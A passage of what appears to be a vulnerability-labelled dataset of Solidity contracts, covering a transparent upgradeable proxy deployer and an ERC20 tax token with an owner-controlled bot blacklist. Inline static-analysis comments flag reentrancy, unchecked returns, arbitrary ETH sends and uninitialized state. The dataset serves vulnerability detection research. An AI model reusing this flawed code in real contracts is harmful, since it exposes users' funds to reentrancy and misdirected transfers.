internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly (\"memory-safe\") {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert Errors.FailedCall();\n }\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct Int256Slot {\n int256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getInt256Slot(\n bytes32 slot\n ) internal pure returns (Int256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n}\n\nlibrary ERC1967Utils {\n bytes32 internal constant IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n error ERC1967InvalidImplementation(address implementation);\n\n error ERC1967InvalidAdmin(address admin);\n\n error ERC1967InvalidBeacon(address beacon);\n\n error ERC1967NonPayable();\n\n function getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n if (newImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(newImplementation);\n }\n\n StorageSlot\n .getAddressSlot(IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9165bd3): ERC1967Utils.upgradeToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 9165bd3: Ensure that all the return values of the function calls are used.\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) internal {\n _setImplementation(newImplementation);\n\n emit IERC1967.Upgraded(newImplementation);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: 9165bd3\n Address.functionDelegateCall(newImplementation, data);\n } else {\n _checkNonPayable();\n }\n }\n\n bytes32 internal constant ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n if (newAdmin == address(0)) {\n revert ERC1967InvalidAdmin(address(0));\n }\n\n StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;\n }\n\n function changeAdmin(address newAdmin) internal {\n emit IERC1967.AdminChanged(getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n if (newBeacon.code.length == 0) {\n revert ERC1967InvalidBeacon(newBeacon);\n }\n\n StorageSlot.getAddressSlot(BEACON_SLOT).value = newBeacon;\n\n address beaconImplementation = IBeacon(newBeacon).implementation();\n\n if (beaconImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(beaconImplementation);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c0767b3): ERC1967Utils.upgradeBeaconToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data)\n\t// Recommendation for c0767b3: Ensure that all the return values of the function calls are used.\n function upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data\n ) internal {\n _setBeacon(newBeacon);\n\n emit IERC1967.BeaconUpgraded(newBeacon);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: c0767b3\n Address.functionDelegateCall(\n IBeacon(newBeacon).implementation(),\n data\n );\n } else {\n _checkNonPayable();\n }\n }\n\n function _checkNonPayable() private {\n if (msg.value > 0) {\n revert ERC1967NonPayable();\n }\n }\n}\n\nabstract contract Proxy {\n function _delegate(address implementation) internal virtual {\n assembly {\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(\n gas(),\n implementation,\n 0,\n calldatasize(),\n 0,\n 0\n )\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n\t\t\t\t// incorrect-return | ID: c62e5c0\n return(0, returndatasize())\n }\n }\n }\n\n function _implementation() internal view virtual returns (address);\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: c62e5c0): TransparentUpgradeableProxy._fallback() calls Proxy._fallback() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for c62e5c0: Use the 'leave' statement.\n function _fallback() internal virtual {\n _delegate(_implementation());\n }\n\n fallback() external payable virtual {\n _fallback();\n }\n}\n\ncontract ERC1967Proxy is Proxy {\n constructor(address implementation, bytes memory _data) payable {\n ERC1967Utils.upgradeToAndCall(implementation, _data);\n }\n\n function _implementation()\n internal\n view\n virtual\n override\n returns (address)\n {\n return ERC1967Utils.getImplementation();\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ProxyAdmin is Ownable {\n string public constant UPGRADE_INTERFACE_VERSION = \"5.0.0\";\n\n constructor(address initialOwner) Ownable(initialOwner) {}\n\n function upgradeAndCall(\n ITransparentUpgradeableProxy proxy,\n address implementation,\n bytes memory data\n ) public payable virtual onlyOwner {\n proxy.upgradeToAndCall{value: msg.value}(implementation, data);\n }\n}\n\ninterface ITransparentUpgradeableProxy is IERC1967 {\n function upgradeToAndCall(\n address newImplementation,\n bytes calldata data\n ) external payable;\n}\n\ncontract TransparentUpgradeableProxy is ERC1967Proxy {\n address private immutable _admin;\n\n error ProxyDeniedAdminAccess();\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 27d616d): TransparentUpgradeableProxy.constructor(address,address,bytes).initialOwner lacks a zerocheck on \t _admin = address(new ProxyAdmin(initialOwner))\n\t// Recommendation for 27d616d: Check that the address is not zero.\n constructor(\n address _logic,\n address initialOwner,\n bytes memory _data\n ) payable ERC1967Proxy(_logic, _data) {\n\t\t// missing-zero-check | ID: 27d616d\n _admin = address(new ProxyAdmin(initialOwner));\n\n ERC1967Utils.changeAdmin(_proxyAdmin());\n }\n\n function _proxyAdmin() internal view virtual returns (address) {\n return _admin;\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: c62e5c0): TransparentUpgradeableProxy._fallback() calls Proxy._fallback() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for c62e5c0: Use the 'leave' statement.\n function _fallback() internal virtual override {\n if (msg.sender == _proxyAdmin()) {\n if (\n msg.sig !=\n ITransparentUpgradeableProxy.upgradeToAndCall.selector\n ) {\n revert ProxyDeniedAdminAccess();\n } else {\n _dispatchUpgradeToAndCall();\n }\n } else {\n super._fallback();\n }\n }\n\n function _dispatchUpgradeToAndCall() private {\n (address newImplementation, bytes memory data) = abi.decode(\n msg.data[4:],\n (address, bytes)\n );\n\n ERC1967Utils.upgradeToAndCall(newImplementation, data);\n }\n}\n\ncontract ProxyDeployer {\n address public lastDeployedProxy;\n\n event ProxyDeployed(\n address indexed proxyAddress,\n address indexed implementationAddress,\n address indexed adminAddress\n );\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 03af38a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 03af38a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c17e3a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c17e3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7092d73): ProxyDeployer.deployProxy(address,address,address).proxyAddress lacks a zerocheck on \t lastDeployedProxy = proxyAddress\n\t// Recommendation for 7092d73: Check that the address is not zero.\n function deployProxy(\n address implementationAddress,\n address adminAddress,\n address _taxReceiver\n ) external returns (address) {\n require(\n implementationAddress != address(0),\n \"Invalid implementation address\"\n );\n\n require(adminAddress != address(0), \"Invalid admin address\");\n\n require(_taxReceiver != address(0), \"Invalid tax receiver address\");\n\n bytes memory initializedData = abi.encodeWithSelector(\n bytes4(keccak256(\"initialize(address,address)\")),\n msg.sender,\n _taxReceiver\n );\n\t\t// reentrancy-events | ID: 03af38a\n\t\t// reentrancy-benign | ID: 5c17e3a\n\n TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(\n implementationAddress,\n adminAddress,\n initializedData\n );\n\n address proxyAddress = address(proxy);\n\n\t\t// reentrancy-benign | ID: 5c17e3a\n\t\t// missing-zero-check | ID: 7092d73\n lastDeployedProxy = proxyAddress;\n\n\t\t// reentrancy-events | ID: 03af38a\n emit ProxyDeployed(proxyAddress, implementationAddress, adminAddress);\n\n return proxyAddress;\n }\n}\n",
"file_name": "solidity_code_10225.sol",
"size_bytes": 16939,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6ba389b): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 6ba389b: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 6ba389b\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2a6a8f1): Contract._isExcludedFromFee is never initialized. It is used in Contract._transfer(address,address,uint256)\n\t// Recommendation for 2a6a8f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory tokenName, string memory tokenTicker) {\n _name = tokenName;\n\n _symbol = tokenTicker;\n\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5068f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a5068f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d950175): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d950175: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a5068f2\n\t\t// reentrancy-benign | ID: d950175\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a5068f2\n\t\t// reentrancy-benign | ID: d950175\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d950175\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a5068f2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 770bea8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 770bea8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2a6a8f1): Contract._isExcludedFromFee is never initialized. It is used in Contract._transfer(address,address,uint256)\n\t// Recommendation for 2a6a8f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cbb6e70): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cbb6e70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 770bea8\n\t\t\t\t// reentrancy-eth | ID: cbb6e70\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 770bea8\n\t\t\t\t\t// reentrancy-eth | ID: cbb6e70\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cbb6e70\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cbb6e70\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cbb6e70\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 770bea8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cbb6e70\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cbb6e70\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 770bea8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 770bea8\n\t\t// reentrancy-events | ID: a5068f2\n\t\t// reentrancy-benign | ID: d950175\n\t\t// reentrancy-eth | ID: cbb6e70\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7de141b): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7de141b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 770bea8\n\t\t// reentrancy-events | ID: a5068f2\n\t\t// reentrancy-eth | ID: cbb6e70\n\t\t// arbitrary-send-eth | ID: 7de141b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91a6813): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91a6813: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 178b810): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 178b810: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 66cf7f0): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 66cf7f0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3111047): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3111047: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 91a6813\n\t\t// reentrancy-eth | ID: 3111047\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 91a6813\n\t\t// unused-return | ID: 66cf7f0\n\t\t// reentrancy-eth | ID: 3111047\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 91a6813\n\t\t// unused-return | ID: 178b810\n\t\t// reentrancy-eth | ID: 3111047\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 91a6813\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3111047\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10226.sol",
"size_bytes": 20653,
"vulnerability": 4
} |
{
